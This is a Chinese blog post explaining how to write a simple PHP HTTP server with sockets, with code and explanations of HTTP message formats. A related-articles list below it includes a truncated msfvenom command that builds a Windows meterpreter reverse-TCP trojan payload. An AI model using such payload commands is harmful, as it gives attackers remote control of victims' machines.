单进程服务器简陋版:

<?php
/**
* Single http server.
*
* Access http://127.0.0.1:8081
*
* @license Apache-2.0
* @author farwish
*/ $s_socket_uri = 'tcp://0.0.0.0:8081';
$s_socket = stream_socket_server($s_socket_uri, $errno, $errstr) OR
trigger_error("Failed to create socket: $s_socket_uri, Err($errno) $errstr", E_USER_ERROR); while(1)
{
while($connection = @stream_socket_accept($s_socket, 60, $peer))
{
echo "Connected with $peer. Request info...\n"; $client_request = "";
// Read until double \r
while( !preg_match('/\r?\n\r?\n/', $client_request) )
{
$client_request .= fread($connection, 1024);
} if (!$client_request)
{
trigger_error("Client request is empty!");
}
$headers = "HTTP/1.1 200 OK\r\n"
."Server: nginx\r\n"
."Content-Type: text/html; charset=utf-8\r\n"
."\r\n";
$body = "<h1>hello world</h1><br><br>";
if ((int) fwrite($connection, $headers . $body) < 1) {
trigger_error("Write to socket failed!");
}
fclose($connection);
}
}

HTTP 底层基于 TCP,所以 socket 地址指定为 tcp 协议没有问题;stream_socket_server 功能相当于执行了 socket => bind => listen,stream_socket_accept 阻塞等待 client 连接,并设置了超时时间,默认的 timeout 时间使用在 php.ini 中设置。

注意这里的错误抑制符@,抑制 accept 超时情况产生的 PHP Warning,如果用到 stream_select 也需要加错误抑制符 @ 来避免中断信号引起的 PHP Warning。

HTTP 响应报文格式包含 响应状态码、响应首部、响应主体(如果有的话),响应首部每行以 \r\n 结尾,响应头部结束单独一行 \r\n 结尾,后面就是响应主体了,响应头部加响应主体以 fwrite 写入 socket 连接,fclose 关闭连接。

注意:上面的简陋版既没有设置 socket 上下文选项,也没有使用 I/O 复用,更不是多进程的,只是作为请求响应的演示。

较为严谨的HTTP协议处理版:

        $method             = '';
$url = '';
$protocol_version = ''; $request_header = [];
$content_type = 'text/html; charset=utf-8';
$content_length = 0;
$request_body = '';
$end_of_header = false; // @see http://php.net/manual/en/function.fread.php
$buffer = fread($connection, 8192); if (false !== $buffer) { // Http request format check.
if (false !== strstr($buffer, "\r\n")) {
$list = explode("\r\n", $buffer);
} if ($list) {
foreach ($list as $line) {
if ($end_of_header) {
if (strlen($line) === $content_length) {
$request_body = $line;
} else {
throw new \Exception("Content-Length {$content_length} not match request body length " . strlen($line) . "\n");
}
break;
} if ( empty($line) ) {
$end_of_header = true;
} else {
// Header.
//
if (false === strstr($line, ': ')) {
$array = explode(' ', $line); // Request line.
if (count($array) === 3) {
$method = $array[0];
$url = $array[1];
$protocol_version = $array[2];
}
} else {
$array = explode(': ', $line); // Request header.
list ($key, $value) = $array;
$request_header[$key] = $value; if ( strtolower($key) === strtolower('Content-type') ) {
$content_type = $value;
} // Have request body.
if ($key === 'Content-Length') {
$content_length = $value;
}
}
}
}
}
} // No request body, show buffer from read.
$response_body = $request_body ?: $buffer;
$response_header = "HTTP/1.1 200 OK\r\n";
$response_header .= "Content-type: {$content_type}\r\n";
if (empty($content_length) && (strlen($response_body) > 0)) {
$response_header .= "Content-Length: " . strlen($response_body) . "\r\n";
}
foreach ($request_header as $k => $v) {
$response_header .= "{$k}: {$v}\r\n";
}
$response_header .= "\r\n";
fwrite($connection, $response_header . $response_body);
fclose($connection);

以上程序属于 accept 之后的处理步骤,外层逻辑这里已省略,也适用在多进程服务器中子进程的处理部分。

这里还是用 fread 统一读取数据,设置读取的长度 8192(fread 的默认也是8192),$buffer 含有头部信息和数据,按 \r\n 分解成数组元素再处理,处理方式按照 HTTP 请求报文格式。

首先是请求行,如  GET /index HTTP/1.1    三部分以 “空格” 隔开,行尾以 \r\n 结束。

其次是报文首部,如 Content-Type: text/html  键值中间以 “冒号” 加 “空格” 隔开,行尾以 \r\n 结束。

请求报文头部以一行 \r\n 结束。

最后是请求主体(如果有的话),如果报文首部中有 Content-Length 值,就说明有请求主体。

响应数据按照 响应头部 加 响应主体,写入 socket 连接,最后关闭连接。

HTTP协议格式示意:

小结:

完整步骤 1.创建服务端套接字 2.接受请求 3.解释请求行确定请求的特定文件 4.从文件系统中获取请求文件 5.创建被请求的文件组成的HTTP响应报文,发送给客户端 6.如果请求的文件不存在,服务端返回 404 Not Found 报文。

无重逻辑(字符输出)的场景中,ab 100并发1000次访问压测,对比传统调优后的 Nginx + PHP,PHP 实现的多进程非阻塞 I/O HTTP Server 的 QPS 性能稍高,有一个理由可以解释:它不需要 Nginx 来转发请求。

PHP实现的 HTTP Server 有很多细节需要自身处理,不同因素会对处理请求的性能产生直接影响以及面临某些场景下才能产生的BUG,所以稳定性上需要经受更多考验。

Reference: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Overview

Link:http://www.cnblogs.com/farwish/p/8418969.html

[HTTP] PHP 实现 HTTP Server 原理的更多相关文章

  1. MXNet之ps-lite及parameter server原理

    MXNet之ps-lite及parameter server原理 ps-lite框架是DMLC组自行实现的parameter server通信框架,是DMLC其他项目的核心,例如其深度学习框架MXNE ...

  2. Spark job server原理初探

    Spark job server是一个基于Spark的服务系统,提供了管理SparkJob,context,jar的RestFul接口. 专注标注原文链接 http://www.cnblogs.com ...

  3. Tomcat Server 原理

    构成: 1.server代表整个catalina serverlet容器 2.service:由一个或多个connector以及一个共享的engine处理引擎组成 3.connector 在指定端口上 ...

  4. kubernetes核心原理之API Server原理分析

    kubernetes API Server的核心功能是提供了Kubernetes各类资源对象(Pod,RC,Service等)的增删改查及Watch等HTTP Rest接口,成为集群内各个功能模块之间 ...

  5. [原创]安全系列之端口敲门服务(Port Knocking for Ubuntu 14.04 Server)

    Port Knocking for Ubuntu 14.04 Server OS:ubuntu 14.04 server 原理简单分析: 端口敲门服务,即:knockd服务.该服务通过动态的添加ipt ...

  6. FQ原理

    笔者在nginx反向代理篇讲了正向代理和反向代理的区别,今天着重讲其中的FQ是实现原理. 一.普遍的两种方式 1.vpn vpn它将客户端的IP数据报经过加密和二次封装后转发出去,客户端通过vpn上网 ...

  7. kubernetes 核心原理

    3.1 K8s API Server 原理分析 K8s API server核心提供对各种资源对象的增.删.改.查以及Watch等HTTPRest接口,是集群内各个模块之间数据交互和通信的中心枢纽,是 ...

  8. 028.核心组件-API Server

    一 Kubernetes API Server原理 1.1 API Server功能 Kubernetes API Server的核心功能是提供Kubernetes各类资源对象(如Pod.RC.Ser ...

  9. 2021升级版微服务教程6—Ribbon使用+原理+整合Nacos权重+实战优化 一篇搞定

    2021升级版SpringCloud教程从入门到实战精通「H版&alibaba&链路追踪&日志&事务&锁」 教程全目录「含视频」:https://gitee.c ...

随机推荐

  1. 基于FPGA驱动VGA显示图片的小问题

    学习VGA显示图片的过程中,遇到了一个小问题,我在显示屏上开了一个60x60的框,放了一张图片进去显示,但是最终的结果如下图所示. 出现了一个竖黑边,看了看代码,分析了一下逻辑没问题,然而看这个显示那 ...

  2. Mybatis中常用的SQL

    1.BaseResultMap <resultMap id="BaseResultMap" type="com.stylefeng.guns.common.pers ...

  3. linux几条常用的命令

    列出一些手头分分钟要用到的命令. 1.df -h 用来查看各个分区的大小 2.du -h --max-depth=0 /data2/xijun.gong/tt_data 用来查看文件夹的大小,并指定递 ...

  4. MySQL优化 - 索引优化

    索引(在MySQL中也叫做"键(key)")是存储引擎用于快速找到记录的一种数据结构. 索引对于良好的性能非常关键,尤其是当表的数据量越来越大时,索引对性能(查询)的影响愈发重要. ...

  5. metasploit配置windows外网木马

    首先在命令端输入./ngrok tcp 2222然后会变成这样 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i ...

  6. CodeForces798-B. Mike and strings-string中的find()函数

    好久好久好久之前的一个题,今天翻cf,发现这个题没过,补一下. B. Mike and strings time limit per test 2 seconds memory limit per t ...

  7. Codeforces-8VC Venture Cup 2016-Elimination Round-626A.暴力 626B.水题 626C.二分

    A. Robot Sequence time limit per test 2 seconds memory limit per test 256 megabytes input standard i ...

  8. 北京师范大学校赛C

    https://www.nowcoder.com/acm/contest/submit/0dff89ad7b8444719df155d507f3e1dd?ACMContestId=3&tagI ...

  9. android手机安全卫士、Kotlin漫画、支付宝动画、沉浸状态栏等源码

    Android精选源码 轻量级底部导航栏   android手机卫士源码   android实现高仿今日头条源码   一个用Kotlin写的简单漫画App源码   android吐槽项目完整源码   ...

  10. tinyxml的封装与使用(转载)

    tinyxml是个高效精简的xml解析开源代码. 针对tinyxml直接使用对于对xml不是很熟悉的入门新手来说,有些概念难以理解,因此我将其封装后,供大家使用. 头文件: #include &quo ...